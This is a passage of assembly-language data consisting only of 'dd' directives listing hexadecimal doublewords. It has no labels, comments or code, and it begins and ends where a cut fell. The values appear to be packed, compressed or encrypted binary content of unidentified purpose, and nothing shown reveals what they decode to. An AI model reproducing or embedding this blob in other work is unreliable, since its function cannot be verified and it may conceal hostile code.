0DB9AE4B3h, 0D4C5016Ch, 0B904CCB6h dd 382C4B09h, 8B2034D4h, 35013BBh, 0EEB9ADCEh, 97BFECAAh dd 8DE2FB7Ah, 6CABCECFh, 30041119h, 0D5B61A40h, 0EF642F7Bh dd 0B5EF2BEAh, 0ECEB32CAh, 0E0180100h, 43002501h, 32C53056h dd 0C330AC22h, 6AFAB5B6h, 0BAD6B3ACh, 0F2BAAE2Fh, 21AFECBAh dd 0C770BC27h, 333C8801h, 0B0C7564h, 72981441h, 4E7EB3EAh dd 36867028h, 0C6701AC6h, 0D02C7632h, 42E505E2h, 210B0476h dd 0D1901B8h, 0D900DC08h, 13802119h, 0B8DAB704h, 0CA0782C2h dd 244C009Ah, 40A228E0h, 0C204CB1Dh, 0ADB821C0h, 610508A9h dd 1CCE0D8Fh, 0B481D80Ah, 6C748602h, 6ADAFE36h, 194E0DB3h dd 0CC825012h, 0DC741511h, 837028DBh, 90BB4093h, 64007301h dd 38E6D78Bh, 532C0364h, 0E006315Bh, 6BDA77B6h, 0F42C383h dd 82C16DB5h, 0D7B5CD6h, 0CF868CB6h, 748D6358h, 0DE076DDBh dd 6DD06ECAh, 0F6D6E21Ah, 6FA3E879h, 64DC77DEh, 124C5CCFh dd 590EA2F0h, 2DE777EBh, 0DF17ECA3h, 55D4F516h, 0D6F59D5Fh dd 35FD749Fh, 2ECFC7EFh, 0D3C8EAEEh, 0C23D90Eh, 1871DD8h dd 0BE2CFF3Dh, 0B018577Dh, 0D84E09C0h, 27B2A9F1h, 3802315Eh dd 1F8C447h, 0C0371Fh, 43800499h, 0E00E42D6h, 0E5C9B03Ch dd 24D65005h, 2B82136Ah, 590C66D4h, 806D9363h, 9FC0751h dd 0D81A36B0h, 0D03E8902h, 301E02B1h, 96901E81h, 0E07C26Dh dd 7281281Ah, 368C8344h, 10803466h, 90846382h, 0E6FAC0B9h dd 420B26B6h, 0D8E08106h, 93900444h, 0FF98E01h, 91BB0080h dd 990602EAh, 59504E08h, 5C322DFEh, 9908670Ch, 85C3821Ah dd 8CA180E0h, 48ACA806h, 1282106Dh, 2815CC84h, 0A20A328h dd 0BBF536AFh, 0B1C0FE5Fh, 0FFDFEBFh, 0E008C532h, 0C5652F12h dd 8791021Dh, 64203026h, 0F1C1C09Ch, 0CB3E31B9h, 5415C438h dd 44008090h, 82AE0031h, 54F02C8Ch, 4C400B0Bh, 3B0D401h dd 47E11AD8h, 1C02280Ah, 3154881Ch, 180750ECh, 9675404Ch dd 6A2EDC83h, 0B4048BB3h, 400341CDh, 70E60780h, 0A38248A9h dd 87030F00h, 0B1D0102Ch, 32124C04h, 20C8495h, 0DF44F94Eh dd 21042294h, 0B487401Ch, 0D6592E21h, 29909686h, 71460783h dd 0A064438Dh, 2531B576h, 8E092D25h, 1223811Eh, 22C702CDh dd 1CC8F91Bh, 0B57572B6h, 466D6501h, 0AE4F2CA9h, 94C898C9h dd 59AB30E4h, 607C151Bh, 0E1E25908h, 4D494327h, 36F35919h dd 21070482h dd 444861C1h, 8E91922Ah, 79276484h, 8273BAB8h, 0FEB50183h dd 0DA2B8DA8h, 0C27EC6F8h, 83718A7h, 884C005Eh, 608C704Bh dd 1107480h, 0CA417638h, 6EE8015h, 1C6D02Ah, 430E0180h dd 2702A020h, 0CC244218h, 51073948h, 0DAA0814Bh, 57AF4120h dd 94798C1Bh, 67142684h, 8231966Eh, 146427Ch, 3126538Ch dd 62397A61h, 501E87Ah, 3221C0E0h, 7A931B77h, 43EF51B4h dd 8A2C88C1h, 519A8D51h, 0D4BB3487h, 9B875348h, 44750428h dd 8DE8FD3Eh, 582318Ah, 57638C64h, 492DE81Ch, 3685D2AAh dd 9D11A1F4h, 9A2F4568h, 95328DD1h, 69452A9Eh, 4FC1AE6Dh dd 3D95BA7Fh, 4B9EB8BBh, 420AE1C1h, 28514DCDh, 36046350h dd 8D5900C1h, 8910102h, 0B518051Eh, 0A3828E50h, 4DD4AC01h dd 80846ECFh, 71E2BA50h, 6E6C4457h, 2158900Ch, 2A1B46DAh dd 76642260h, 6C519B59h, 34DB360h, 249D6787h, 1648DC01h dd 0C53B8E37h, 5833212Ah, 5DD51E4Ah, 51FEAD1Ch, 5909F563h dd 0B526DEA4h, 656C3DABh, 23DA2B2Dh, 0B38AE9F0h, 0CF63CC85h dd 0F6BD9B6Ah, 1580B455h, 6177612Ch, 9342DB58h, 6C700987h dd 5D4ADF5Bh, 6C8024F0h, 5C4C0Bh, 142880C6h, 8701F088h dd 4CA04018h, 42CF8270h, 38220306h, 593CE501h, 0E09AC306h dd 44A1B50Bh, 58AA40E1h, 8D407CDBh, 8D5D3A1Eh, 0F9DF1BDEh dd 0F4416072h, 4C2B8DBDh, 4C842B0h, 0F990BB81h, 8C0C0C82h dd 18287060h, 6D082132h, 1B77DE0Eh, 0BE4642FEh, 98139B5h dd 0F6525048h, 0B15256BEh, 497DCDADh, 0DE56DFA4h, 861CC346h dd 81C1858Ch, 0C6DE2BE1h, 0B11D1C1Bh, 55DC4B14h, 0BCD79070h dd 7AAF40E0h, 0DAB951C1h, 0C2B897B4h, 46C02E7Bh, 4D145F00h dd 0A648BAB7h, 101C124Eh, 0A35C5285h, 1188D18h, 80A5941Dh dd 0E832C40h, 6416E80Eh, 6480D060h, 4400210Eh, 46007032h dd 0EC1601C4h, 40631802h, 1F61FE80h, 2C3980B1h, 88171263h dd 658D89A2h, 80283E1Bh, 404B480Fh, 89700EA4h, 0CDD9B134h dd 19628E70h, 640A302Ah, 7CBE6138h, 0E6D934Eh, 0DB2D0171h dd 381716A6h, 210C3504h, 5A434501h, 0F45694D2h, 8A70462Ah dd 221CC62h, 9FCDBC87h, 0DAE71CDFh, 0A6002218h, 0CF994C82h dd 2E33669Ch, 0C8971BCCh, 7D128CC0h, 0D9E33B45h, 0B2067A0Eh dd 9B5D51A9h, 70DA0751h, 45024814h, 3BEB57B5h, 0B65239E7h dd 0C397CDB5h, 0AB31B5ACh, 5668CCDAh, 0CC439033h, 0C03C4A43h dd 723E76CAh, 9CADB792h, 1407C39h, 7C03803h, 1CA326FCh dd 0D8038B68h, 227CC85h, 18C860B0h, 5D730062h, 57D60045h dd 200C0F0Ah, 0EC3071A7h, 80E586DCh, 6DB9CD13h, 0B40339B7h dd 36066A4h, 0FC0E7188h, 0C01077F6h, 19AD59CDh, 380E36FCh dd 0CE8D69h, 19C80722h, 0D0D7141Ch, 8080AFC5h, 0D4207802h dd 86B841B8h, 0E0DFCFEh, 0DEB0980Fh, 0BE40E6F7h, 0BB4601h dd 0EE56048h, 48DE00Fh, 0BB82221Eh, 0B72652D8h, 0ADFBC88Dh dd 0A0704BD2h, 1C332300h, 0F36027CDh, 0DE1A9B64h, 0BD3791B5h dd 0E6EF8DEDh, 0B5AD333Eh, 1E8643E1h, 729E04A0h, 0C1ECEAFBh dd 8B35BAD4h, 9D7BAEF5h, 0EF98A53Ah, 1E2EC7D7h, 723154Bh dd 0DABB25DEh, 51B7ED7h, 0DA176124h, 980704D8h, 2BBAF6CDh dd 453952C7h, 0FEF7DD86h, 0C07043F5h, 40A00300h, 0F84EF814h dd 0F0FE1BC2h, 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 0EBE4BC8Fh dd 64AF15E3h, 0CF98F2E7h, 0CF37E6BCh, 0FE7BCEF9h, 0BD0FA0F3h dd 0FA4F47E8h, 0F2A763D2h, 59CAF1D5h, 0D6FAC280h, 0B0F5FEBBh dd 67ECBD8Fh, 0DBDAFB4Fh, 0CFB8F6FEh, 0CF77EEBDh, 0FEFBDEFBh dd 0BE0FC0F7h, 943F65F0h, 1BC744AEh, 320818D7h, 0E6FCCF96h dd 0D0F9FF3Bh, 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh dd 7BEEFDCFh, 0FE0FBFFh, 4FC7F8BFh, 0FF9BF2FEh, 0FEC7E8FCh dd 21D1AE40h, 196578E3h, 3E47E0FCh, 0FA8F71F2h, 0F8FEFFDBh dd 0F7FEBFCFh, 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h dd 98088078h, 80B80A80h, 0E80D80Ch, 181080F8h, 80081281h dd 0CB7F17F3h, 81C97C60h, 0F97F07Ch, 0F20F50F5h, 182081F0h dd 82382282h, 26825824h, 98288278h, 82B82A82h, 2E82D82Ch dd 183082F8h, 83383283h, 36835834h, 98388378h, 83B83A83h dd 1D82A83Ch, 0B0FC0F98h, 1CA7EC0Ch, 1C1080DEh, 90F10F28h dd 84B84A84h, 4E84D84Ch, 185084F8h, 85385285h, 56855854h dd 98588578h, 85B85A85h, 5E85D85Ch, 186085F8h, 86386286h dd 66865864h, 50F28568h, 1090F90Fh, 0DA1C47EDh, 0C0C80D40h dd 83D0F181h, 76875874h, 98788778h, 87B87A87h, 7E87D87Ch dd 182E87F8h, 0C886A0Fh, 6E5290D4h, 0C8FE0CB8h, 8480F70h dd 88D88C88h, 9088F88Eh, 38928918h, 82D89489h, 0C80F7873h dd 0A1CA8170h, 88A8880Dh, 0A0895873h, 38A28A18h, 8A58A48Ah dd 9787D8A6h, 18868998h, 88989C1Ch, 0B08A788Bh, 38B28B18h dd 8B58B48Bh, 9A8A988Eh, 0E8AD1C98h, 8BD8B689h, 0C08BF8BEh dd 88C28C18h, 1C08AB8Bh, 0C28AF8BBh, 0B8CA8C98h, 8CD8CC8Ch dd 9B8C4879h, 0E8C889D8h, 8D58D48Ch, 0D88D78D6h, 989888B8h dd 8C71C68Bh, 0E08D989Fh, 38E28E18h, 8D08A38Eh, 0DF8D28BAh dd 0B8EA8E48h, 8ED8EC8Eh, 0DD8E6874h, 38EE8E88h, 8F58F48Fh dd 0F08288F6h, 78DE1C58h, 8FD8FC8Fh, 0F98E48FEh, 98AE8878h dd 9058FF8Eh, 0BF907906h, 28AC9018h, 90D9088Fh, 0A490F90Eh dd 0C8C690A8h, 91591090h, 7E917916h, 0B1BF9128h, 91D9188Fh dd 3991F91Eh, 0C1BE91A8h, 92592091h, 0F8927926h, 58DB0F28h dd 91491B8Ch, 3092F928h, 2292FE59h, 19241BD9h, 93793693h dd 0BA933910h, 0D9389351h, 8FD93E93h, 3C1B993Ah, 594493F9h dd 9418EB94h, 469431B8h, 694C94B9h, 1B79488Dh, 5294D94Ah dd 0F8C19539h, 92E59794h, 0E71282Ah, 40010F22h, 87C95D82h dd 0D83A95Fh, 495B95E2h, 88095A89h, 6982151Eh, 0F96B8209h dd 96A96D81h, 7B96382Ch, 48289618h, 9768F397h, 6395A827h dd 68769789h, 9584B795h, 7C97682Dh, 49838C09h, 88C98397h dd 23987978h, 0C82698A8h, 96E98697h, 9195C970h, 0C83198F9h dd 98A83D98h, 998EB996h, 0B82298B9h, 97E83899h, 71980422h dd 0E8CD99D9h, 89299C98h, 2F9A3989h, 96C9A68h, 9929AD99h dd 309949AFh, 883999E8h, 9B48FF99h, 0CF9B99AFh, 18AA92A8h dd 8329038Dh, 7295C982h, 39C29B09h, 9B09BA9Ch, 7295D96Dh dd 596C9C99h, 9CE99296h, 6F96599Dh, 299C9C49h, 9919D19Dh dd 0CB9CC9AEh, 0C79D09FEh, 0E9C29C89h, 9E19D296h, 0D396B9C6h dd 0F9D49A49h, 9B299495h, 0E49E59B9h, 99CA9CE9h, 9939D698h dd 909AE9EEh, 0A9619699h, 9AD9C69Dh, 0DF9B19F3h, 9869EF9h dd 0A0196F9Dh, 0C39CD9DCh, 69FA9FE9h, 9A498D9Eh, 34A03A00h dd 24279A08h, 98282B9Ah, 0D89D99F7h, 29F59F49h, 9E89BA9Fh dd 139E8A16h, 0B9DEA08Ah, 0A05A0398h, 179DF9D4h, 0D9D9A25Ah dd 0A29A16A1h, 1FA289C8h, 0AA1B9E7Ah, 9E99A7A2h, 14A15993h dd 0CA2C9DDAh, 97095EA1h, 2EA329C1h, 1A1A9C4Ah, 9E0A2C9Bh dd 0CDA409FCh, 7A35A439h, 0A23A2DA4h, 0CFA22A3Dh, 0AA39A1E9h dd 9EAA1D96h, 51A0E835h, 0FA1E9599h, 0A5198CA3h, 499DDA33h dd 0CA2AA3FAh, 0A4C98DA3h, 49A58A47h, 0A3DA46Ah, 0A19527A5h dd 4FA4BA5Bh, 0CA2FA09Ah, 9E6A42A6h, 4AA6AA59h, 5A41A6FAh dd 0A5EA60A3h, 489A7A5Dh dd 5A60A7AAh, 975A76A6h, 0FEA1FA6Bh, 81A7CA77h, 4832A5CAh dd 0A56A10A5h, 0F9A5EA15h, 4A1C9D89h, 0A839D79Eh, 7AA86A7Eh dd 4A87979Ah, 9F1A5DA8h, 6E9EC9E0h, 712A99Ah, 0A99A73A3h dd 7C97BA3Eh, 39EBA8FAh, 0A9CA68A8h, 0A09CB9FFh, 69A9AA4Ah dd 0AB2A95A6h, 5AABA45h, 4A7F987Ah, 0A4EA30A6h, 9FA699E9h dd 0A8DC9BC9h, 829A8B8Fh, 24A669C1h, 0EA5C9D5Ah, 0AB4A5A98h dd 31ABBA57h, 1A3EA90Ah, 0AB3A28ADh, 6BA96A9Fh, 0DA4E9ACAh dd 0AD9ACCACh, 7FA6DA12h, 9A07A34Ah, 0AD1A7BAAh, 94A5FA70h dd 3A7DA6FAh, 0AB5A75A9h, 0EBA79ADAh, 1AAAABCAh, 92CAC092h dd 82AC3923h, 9AA2A8DAh, 0AB8A85A3h, 74A67AE9h, 0AADBAD8Ah dd 0A4DAE19Ch, 0CEAEFAE5h, 0DA8E9EAAh, 9C7AE0A6h, 0C9AE8AB9h dd 0BAF1AA7Ah, 0A87B02ABh, 0B1B05AEEh, 0EB08AFDAh, 0B0AAC6B0h dd 139F4AB0h, 0FAFFAF7Bh, 9BEAF38Eh, 0ED9958BCh, 0DA74B1AAh dd 0AE7A78AFh, 0A2FE0B27h, 0FEAD3A90h, 9AAEA62Ah, 0B31A88B2h dd 85B2CB1Eh, 0FB16AD69h, 0B21A36ACh, 71B19B0Ah, 0BB09A8EAh dd 0B42AEAB3h, 18ACBA1Bh, 5AF8B2CBh, 0A98B1FAEh, 0DA52B4Bh dd 0F8E7B23Ah, 0B4FB269Bh, 0ABAFCA04h, 59FBB0CAh, 964A379Ch dd 0E3A20A62h, 0DAF09C59h, 0A23AA6A8h, 12AEF9E5h, 0DA91AB7Ah dd 9F99F7AAh, 6CA9DAA1h, 0CAA7B59Bh, 0B07B71A0h, 2DB699DCh dd 5A9195BAh, 9A9B5FAAh, 8FB13A0Bh, 0B75B7F9h, 0B60B72B7h dd 25B36B5Dh, 0CB1EAC58h, 0A8A833A0h, 58926B54h, 88C9954Bh dd 895B359Bh, 8E87FB94h, 5B90B25Bh, 984B92ADh, 978A6B55h dd 1B52919Bh, 925B8F8Fh, 0CAB9DACAh, 0DBA1BA18h, 8A0AA887h dd 0A88D3B99h, 1BB2BB1Bh, 0AC2BA391h, 0B8BB3BA5h, 0F891BB9Bh dd 0BBA904BAh, 7CBBFBBEh, 3BC0BBC8h, 878BC4BCh, 0A78B2BC2h dd 0E9B3968Bh, 0BCCB9CACh, 18B0FAD9h, 0D9D19679h, 988981BAh dd 0BC78FEEAh, 0D5B178B1h, 0BAB88DBh, 0B1CB20B0h, 178F4BABh dd 0FA86B61Bh, 99E833BDh, 0B19C0A85h, 0A8B0BD88h, 0BD69AABDh dd 89B0BB9Fh, 2BE1B20Bh, 0ADCB10BEh, 0E8834BEFh, 0B9ABB95Bh dd 902BB5BEh, 0DB9A3B9Ah, 29E2A229h, 9CCAC5B7h, 84B82C06h dd 8C03A32Bh, 0B62B67ADh, 0F39E3B42h, 0DA02B5B9h, 0B57ADEB4h dd 39F5B34h, 0AADCC06Ch, 0C1AC18C0h, 21B6BBEEh, 5B3CB6EBh dd 0C0E9E297h, 5CB84C1Eh, 6B59C2ABh, 0C2CC1AA0h, 0FC31C2Bh dd 1BEC88FCh, 0AB7B87A1h, 0F1A3BAB4h, 8AD7C37Ah, 0AD4B28A1h dd 18ABA9EBh, 6A79ACBBh, 0B0DB1F99h, 4B48B45h, 0EB38B0CBh dd 0A0AB66C3h, 80BDEB38h, 0DC3FBF3Ah, 0AE0B4CB1h, 56A44B6Dh dd 5894B87Ch, 0C56A8CC3h, 4AAF9B49h, 0BC3DC5CAh, 0BCEC63ADh dd 14C46A3Ch, 0B4EB4ABh, 9ACB34C6h, 25C52A77h, 8C61C67Ch dd 0B5FAB6A4h, 0B3B50C6Dh, 6AE4C6AAh, 0C70C6EAEh, 890BFCFEh dd 77AC4C5Eh, 9C7BB0ECh, 0C41A9CA1h, 7DB43C15h, 5B2FABEAh dd 0B86B46ADh, 50ABEB14h, 6C6CB3FBh, 0AA2C1CC8h, 0FEC92B8Ah dd 9B44B37Ah, 0C84C54B3h, 0D3B05C55h, 0EA21C11Bh, 0C12B70B3h dd 0A1A71B33h, 0BDFC838h, 0C4BC48B0h, 0A1BE3AE4h, 0CAE3C8CCh dd 0ADFAA8B9h, 97AE3BE4h, 6C96B28Ah, 0C9EC98C6h, 12B2ECB2h dd 8A26CC0Bh, 0B1CCA0C4h, 0A4C7AA9Fh, 5C7DAD0Ah, 0AE2C97CBh dd 0FFCAD9F0h, 0FBB790BBh, 0B40A75C5h, 3BC479B2h, 1A63BD0Ch dd 0BDABCFCDh, 5BCBCCBDh, 1CD8CB0Ah, 0AE8C6FCBh, 0E6A4FC16h dd 0DCC7C9DCh, 0C58CCAC4h, 0DFC7EBF7h, 0C79AAFAh, 0BCECF5CEh dd 6DCAE880h, 7B2AB44Ch, 0AE2CABA6h, 1C8CA63h, 9CEECCCDh dd 0B41CE4C5h, 99AD7C44h, 9AECCDA9h, 0B03AA5CEh, 5A46B56h dd 1CA8AFADh, 0CACBF2D0h, 9C19CD9h, 4CC2D03Dh, 0B79CFEC7h dd 22BF5CB6h, 0B2492BBh, 0FE1CD8BBh, 0D2AB88C3h, 7EB7AA29h dd 2D2EC30Ch, 0D2DC10B6h, 60C1FB74h, 0ECAAD22Bh, 0B7FC149Dh dd 3CABCCCFh, 0DB2FCE2Dh, 0C29AB8B4h, 34CEED33h, 6CE3D39Dh dd 0A68C30B0h, 0AAB8BD4Bh, 2A2BAADCh, 0CBAD37C2h, 30A9DD3Fh dd 5CFC892Dh, 0D248CEBCh, 0BBD5ABE7h, 7913CD5Bh, 8D4D5ECDh dd 63BEAD5Ch, 0DD608B7Dh, 0D67D6292h, 0B3D65BA9h, 9D6CD6E9h dd 0AF5D69A8h, 76D71D6Bh, 981FD77Dh, 0D7BD78D5h, 7CD7AD5Eh dd 0EBC0D7FDh, 0D83D80D7h, 84D82BB8h, 6B9DD87Dh, 0D8BD88D8h dd 8CD8A94Dh, 0E944D8FDh, 0D93D90D8h, 94D92937h, 6928D97Dh dd 0D9BD98D9h, 9CD9A91Fh, 0E916D9FDh, 0DA3DA0D9h, 0A4DA290Dh dd 68FFDA7Dh, 0DABDA8DAh, 0ACDAA8F6h, 0E8EDDAFDh, 0DB3DB0DAh dd 0B4DB28E3h, 68D8DB7Dh, 0DBBDB8DBh, 0BCDBA8CEh, 0E8C9DBFDh dd 0DC3DC0DBh, 0C4DC28BEh, 68B3DC7Dh, 0DCBDC8DCh, 0CCDCA8A6h dd 6CD4DCFDh, 1BFE53D2h, 0DD5DD0C0h, 0D6DCE8CCh, 2D68DD9Dh dd 0DD4BA4DDh, 0BDDDFDDAh, 3DE0DD88h, 0DE287ADEh, 75DE7DE4h dd 0BDE8DE68h, 0DEA83ADEh, 53DEFDECh, 6934D73Ah, 0DF5DF0AFh dd 3BDF2CFBh, 0BDF6DF49h, 0DEE87BDFh, 29DFFDFCh, 0EBB6DDC9h dd 0E05E00DDh, 0E029BBh, 0BE06D28Ch, 0DF8DE9E0h, 0CDFA942h dd 8B51E11Eh, 0E04CD6E0h, 36E17E12h, 0FE18DFE8h, 0E1BE1ADFh dd 1EE1DDFBh, 2D96DF5Eh, 8A0D4ABDh, 71BE6D70h, 0FE27B589h dd 0CB9835BCh, 6FBDCB8Ch, 5C8B87EBh, 91ED2CB8h, 0A7C73E23h dd 7A08E2B8h, 0E3AAA3B9h, 25CC9875h, 0DBE5BACEh, 0CA8BF9CFh dd 0FD20D1Dh, 3A72E379h, 0D02E3E8Bh, 4DA6EBDBh, 1CCA997Eh dd 0E2CBCBE5h, 2DCA2CF1h, 0EE48C75Bh, 0D0CE4A90h, 67E34D4Fh dd 0DA6CC2EBh, 0E5F9FAC0h, 2BE35D36h, 6E68E62Ch, 0B63CE59Fh dd 6DC2C9F8h, 0DBADC04Bh, 0BF3C249Eh, 4BAC7C89h, 8D52C13Ah dd 29CFFEBFh, 0B75E74D5h, 40E47C33h, 4D35C32Ch, 0D56C20E6h dd 2FC07C1Fh, 3E5D88DEh, 0CD1CC8A4h, 0FFABDA4Ch, 0DC87C4AAh dd 0E83CACB3h, 2DC42CCFh, 2B3EE79Dh, 0C53D2FE9h, 0DDA139ECh dd 7E9ECEFAh, 0C3CA31D0h, 8FCA2C5Bh, 7D07E96Eh, 0A7BD08C3h dd 0A2C81C3Ah, 6D61E14Bh, 0E31979E1h, 0F2EA0E98h, 0DC95ACCCh dd 0D2FC62EBh, 9AD1FCE8h, 0AEC1C9EEh, 0D4AD40E5h, 14B79B5Bh dd 0C40CE3Ah, 0D0EC8E9Fh, 46C68CCDh, 0FCCEC91Eh, 0E95CE8E9h dd 0ED58CB7h, 9E10949Eh, 0E66B6BD1h, 8FB5CE78h, 7EBFEABAh dd 0B699EE9Eh, 8EA76CA7h, 3EC3E4ECh, 0AEAC94CBh, 9BB3AEC6h dd 0EA64ED89h, 0E31C89A7h, 0E2ED0B35h, 0ABF4ECCEh, 0ED5D31B4h dd 0FAB6FE48h, 5EFBECAEh, 0E4BE8D89h, 0FCA50C17h, 2D1BEE4Bh dd 0EC8EA3D0h, 2BF09E46h, 0CEE5AC8Bh, 0F01ED8AEh, 0DCB2ACFAh dd 9CD2EA2Ch, 0D13B07D1h, 88E56F0Dh, 0BE3BEBEBh, 1EE5EBFEh dd 8E5CDCCBh, 0DD950EDBh, 0CF27EF9Eh, 0C6ECAFCEh, 0F7F30ED3h dd 0EF25B1BCh, 0F15D16E8h, 0F9CC6E6Dh, 2CDBAB1Ch, 0EC5AE1ADh dd 72EFAE56h, 0CEA9B91Ch, 0F2FD06EAh, 6D3DB01h, 5957F2BFh dd 0EBCBCDD7h, 91EC5AB5h, 2F20F53Eh, 0E99F32D2h, 53D11CA3h dd 4D13F23Ch, 0CBBB11F5h, 0D3B31B32h, 0E43ECDAh, 0C76EA8D1h dd 0F3E82EACh, 6C66F18Ch, 0C34D1CF6h, 5097FF4Eh, 8B73CA1Fh dd 0E61E67D4h, 97D56D32h, 0CD4EC08Ah, 0D4CB83B7h, 4D35CDBh dd 9BE0A9AAh, 0E71D2AECh, 43D36C64h, 3B77B61Dh, 0D47F7CB6h dd 85F92C72h, 0E9C9D2CFh, 0D44ECFB6h, 3EE86E61h, 0BD41B7DDh dd 0C82E68C9h, 759A1F73h, 6D9CE26Fh, 0E20E18F4h, 0B8E54837h dd 0AE17FA8Bh, 0FAC836FAh, 21BC9BB3h, 0BE21FB0Eh, 0FB7FB6DEh dd 0BAFB9DE7h, 0DFBCDE3Fh, 0F07DDFFBh, 0EBCCBF19h, 0EB2F51Ch dd 0DB6D71FCh, 11BEEB94h dd 0FE2DF6DAh, 0ABB1FC8Eh, 0F22BFDFCh, 0F1BE9BCDh, 0D953FD0Bh dd 9F8EFFE5h, 479FEC22h, 0BC2DD55Ch, 0D309EFF7h, 0D8D4DC27h dd 8E4A938Fh, 0B43EA5D0h, 73B8BE94h, 1C9FC5ABh, 931FE7F7h dd 0DFCF0FE9h, 3E90CB3Ch, 0FD6BD0F3h, 0A3D95FF3h, 8100A0FFh dd 78BC9EECh, 441E0CF2h, 60F098h, 36170C83h, 6231100Ch dd 1D0E8443h, 10F8B3CAh, 1889C4A3h, 78BC2A2Bh, 8848E3D1h dd 0A44A2B1Ch, 42A450B8h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch dd 5399C4DEh, 3D9E4EE7h, 0EA04FE7Dh, 643DE0B3h, 4381B4CBh dd 0D2E9549Ah, 996DAA4h, 0A3337824h, 532995C6h, 353AB486h dd 58AAC8A1h, 0E9647EA9h, 0A0D56BB5h, 459ECD65h, 5AED569Bh dd 0EADD6DB6h, 28F45A1Ch, 9D4ABA53h, 53682D42h, 5CB248EBh dd 925FEB3h, 0C0C6AAD6h, 2582FB7Bh, 62EDF81Bh, 3F1D8DC6h dd 72191C86h, 2D75A35Ch, 303BBB83h, 1DAD4D6Fh, 6FE16FDh dd 4AB1162Ch, 0AF98490h, 0F0110D3Eh, 5DADC960h, 5B1D86BFh dd 73CA5AF6h, 1CCD332Fh, 864AAF55h, 0B60E5121h, 6F33B138h dd 1A41C2AEh, 63B27AFFh, 7F9EBE49h, 5D1D9EB3h, 0D5EA74FAh dd 4DBED719h, 0EB66F737h, 77FBDDDh, 78FC5E1Fh, 6E97D9ECh dd 0FD5E9F1Fh, 0DDEDF67Ah, 0B44795C3h, 4FBB79B2h, 9FC7BF35h dd 0FE7EFF5Fh, 47D3CBB1h, 6FEBD0Ah, 340B024h, 3FE9A40Fh dd 0B0440500h, 841F0741h, 0E9053D50h, 0B423063h, 4330C42Fh dd 0AF3426C7h, 43F0D42h, 6D114431h, 0F3B30E2h, 45314447h dd 0F12C3515h, 845713B6h, 0F9194631h, 17B2F16Bh, 4731C467h dd 0D1ABBD1Dh, 4771BB2h, 27214832h, 2E4F8Bh, 0B74FB29Bh dd 0B2649721h, 9C8ADA49h, 9D1FC8EFh, 2B4AB2A4h, 0AEB1EA63h dd 0B2E4AF29h, 0D4B32ACBh, 0BCEE492Eh, 26CCB324h, 4C4DC4C1h dd 3364D733h, 53CF3448h, 0E7394DB3h, 0CDF1FE5Ch, 33A2F0FAh dd 0B43F3D4Fh, 0F73C4913h, 6D03404h, 4E300CFBh, 54450F41h dd 3331423Fh, 1F475134h, 0DB4A0F25h, 52146C16h, 6E9D2F4Bh dd 0E5312DD1h, 24EBD3B4h, 3FD0B23Dh, 0D4B5253Dh, 949BE54Fh dd 654D4AC2h, 34B2D5B5h, 5955D55Dh, 0D609C567h, 35C56951h dd 0BD6C9957h, 7F5F574Fh, 25578855h, 57562581h, 2D6CC761h dd 6597651Eh, 9F6759B6h, 695A3685h, 5AB6A5A7h, 36C5AF6Bh dd 5DB76D5Bh, 0BF6E4136h, 715C3705h, 5CB725C7h, 35053366h dd 33AF4DD4h, 0DF775DB7h, 68DE3785h, 5EB795BDh, 77C5EF7Bh dd 0D51745Ah, 235BD195h, 7F9F8BCBh, 60B82606h, 38460F83h dd 66178561h, 1F8761B8h, 89623886h, 9F98A627h, 0D60D867Ah dd 0E6378A20h, 3F8F63B8h, 86E43906h, 0B5D6462Fh, 0A7AB6163h dd 719E719Eh, 5E67E5A6h, 98663986h, 668679A1h, 0F9C66B9Bh dd 0E6739D66h, 7B9F6779h, 67FA06FEh, 7A2683A1h, 468BA368h dd 65A3E8FAh, 6AE65A66h, 62E7C1C6h, 67B9EA98h, 0B98C649Bh dd 0B7AD193Ah, 0ADEBBAE6h, 6C3B018Dh, 0BB26C7B1h, 46CFB36Ch dd 0BBB56BDBh, 0B76DBB46h, 0EDFB86DFh, 3ACEE7B5h, 0B1C26719h dd 5D93BA58h, 7B9F07BBh, 88260EEh, 0BC2707C1h, 38782270h dd 17C4713Ch, 0C671BC57h, 723C771Fh, 0BC9727C8h, 0B72FCA72h dd 37CC733Ch, 0C373BCD7h, 899C1F3Fh, 27C1F03Bh, 274A981Fh dd 56188663h, 0D775BD67h, 763D875Fh, 0BDA767D9h, 0C76FDB76h dd 77DD773Dh, 32067DD7h, 0BA3BF1F2h, 878B25BDh, 80F6471Eh dd 97E51004h, 0E579BE67h, 7A0400FBh, 8400F3E8h, 0C7ABEB7Ah dd 0A5EA7AFEh, 0EE7BBE8Fh, 7C3EF7BFh, 0BF17C7F0h, 37CFF27Ch dd 0D7F47D3Fh, 0EE7DBF57h, 799F879Dh, 0C4710448h, 9A0D929Eh dd 302B11C7h, 0FF7FA509h, 6007FFh, 2403805h, 780D016h dd 0FE026044h, 640B815h, 9881D036h, 0E62382B0h, 0A5803F71h dd 6AB14A4Bh, 21F03D4Ch, 42803305h, 4550AD15h, 42384508h dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 610C6184h dd 54360A08h, 0D12E6A21h, 60C81087h, 0C3DC7F8Eh, 62043F87h dd 44388510h, 88D11622h, 12624447h, 2644B895h, 4D89D136h dd 0C83987FCh, 0CA1B8420h, 0D1917866h, 40B83B47h, 2B0500Ah dd 0C5C0B417h, 4638C42Dh, 8CD19632h, 1A634467h, 3646B8D5h dd 6F8DD1B6h, 0E51C6384h, 0E22FC6B8h, 20A01582h, 0A1DA1805h dd 0C3AC970Fh, 0DA88FF06h, 48390436h, 90D21642h, 22644487h dd 4648B915h, 8F91D236h, 25246484h, 0FE0D4919h, 0E0EB06C3h dd 482D15A3h, 463D7FA9h, 84F0841Fh, 8C716027h, 94C39C63h dd 2A6544A7h, 564AB955h, 0AF95D2B6h, 652C6584h, 0D65A4B39h dd 24B396D2h, 0C16031C7h, 22104A89h, 43792C93h, 16FEFA2Ah dd 0C37C6D8Eh, 6644C798h, 4CB99532h, 99D33666h, 346684CFh dd 6A4D39A5h, 0D39AD356h, 0FC3846DCh, 0FC378A96h, 84573612h dd 40C43E4Ch, 23A0530Ah, 4770E51Dh, 4EB9D53Ah, 9DD3B676h dd 3C6784EFh, 7A4F39E5h, 0F79ED3D6h, 0ED3E67C4h, 0A0748E99h dd 10A414C3h, 42133783h, 3CC7184h, 4730E31Fh, 50BA1542h dd 0A1D43686h, 4468850Fh, 8A513A25h, 17A2D456h, 